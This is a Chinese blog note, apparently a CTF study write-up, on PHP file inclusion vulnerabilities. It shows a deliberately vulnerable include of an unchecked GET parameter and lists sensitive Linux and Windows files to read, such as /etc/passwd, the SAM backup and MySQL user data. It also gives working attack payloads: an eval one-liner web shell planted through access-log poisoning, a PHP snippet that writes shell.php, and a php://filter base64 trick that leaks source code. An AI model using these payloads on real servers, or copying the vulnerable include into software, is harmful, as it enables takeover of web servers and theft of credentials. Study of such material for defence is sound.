zoukankan      html  css  js  c++  java
  • 文件包含漏洞小记

    文件包含函数

      include  调用文件用的函数

      require

    <?php
        echo'<meta http-equiv="Content-Type" content="text/html;charset=gb2312" />';
        // include '1.txt';
        // $a = $_GET['page'];
        $a = "$_GET[page]";
        // echo $a;
        include $a;
    ?>

    include 调用a ,这里可以给a传入任意文件,这个文件有可能传入的是木马文件,能传入任意文件就是文件包含漏洞

    远程文件包含

        要求php.ini中的  allow_url_include=on 

    例如:127.0.0.1/cs/main.php?page=http://www.baidu.com/index.html 文件main.php 中page 传入的是百度

    常见的敏感文件

    unix/linux 系统中

      /etc/passwd----------里面一般存放的是用户的一些数据

      /usr/local/app/apache2/conf/httpd.conf----------------里面存放的apache2 默认的配置文件

      /usr/local/app/apache2/conf/extra/httpd-vhosts.conf----------里面存放虚拟网站设置

      /usr/local/app/php5/lib/php.ini--------------------里面存放PHP相关的设置

      /etc/httpd/conf/httpd.conf---------------------里面存放apache的配置文件

      /etc/my.cnf-------------------里面存放mysql 的配置文件

    windows系统

      C:oot.ini----------------里面可查看系统版本

      C:windowssysten32inetsrvMetaBase.xml-----------------里面是IIS配置文件

      C:windows epairsam--------------------------存储windows 系统初次安装的密码

      C:Program Filesmysqlmy.ini--------------------里面存放mysql配置

      C:Program Filesmysqldatamysqluser.MYD-----------------里面存放mysql root

      C:windowsphp.ini-------------------------php配置信息

      C:windowsmy.ini-------------------存放mysql配置文件

    常见的敏感文件----flag

      1. 根目录下存在flag文件
       C://flag.txt
      2. passwd文件存在flag
      /etc/passwd
      3. Web根目录下存在 flag文件
      4. 当前页面下存在flag文件
      5. apache/php/mysql配置文件下存在flag文件
      利用phpinfo()函数来获取路径
    包含日志文件getshell

      在页面访问http://127.0.0.1/<?php eval($_POST[111])?> 为了避免在web中被url编码 我们在burpsuite中植入

    这也我们的一句话木马就会被带进日志文件,只要满足allow_url_include=on我们就可以通过文件包含漏洞在本地远程传递服务器的日志文件为参

    数从而解析我们植入的一句话木马来拿到shell(必须要知道日志文件的绝对路径)

    远程文件包含写入一个shell

    <?php
    
        fputs(fopen('shell.php','w'),'<?php eval($_POST[1]);?>');
    
    ?>

     fopen()函数打开或者创建一个名为shell.php的文件,fputs()函数往shell.php文件里写入一句话木马

    我们把含有这段代码的文件传入给有文件包含漏洞的参数,它就会被执行,在当前目录下创建一个名为shell.php的一句话木马文件

     PHP封装协议读取文件

      http://10.1.2.5:17857/cs/main.php?page=php://filter/read=convert.base64-encode/resource=main.php  

      利用PHP协议去用base64j解读文件main.php,从而还原该文件的源码

  • 相关阅读:
    《C# to IL》第一章 IL入门
    multiple users to one ec2 instance setup
    Route53 health check与 Cloudwatch alarm 没法绑定
    rsync aws ec2 pem
    通过jvm 查看死锁
    wait, notify 使用清晰讲解
    for aws associate exam
    docker 容器不能联网
    本地运行aws lambda credential 配置 (missing credential config error)
    Cannot connect to the Docker daemon. Is 'docker daemon' running on this host?
  • 原文地址:https://www.cnblogs.com/Blizzard-player/p/8933012.html
Copyright © 2011-2022 走看看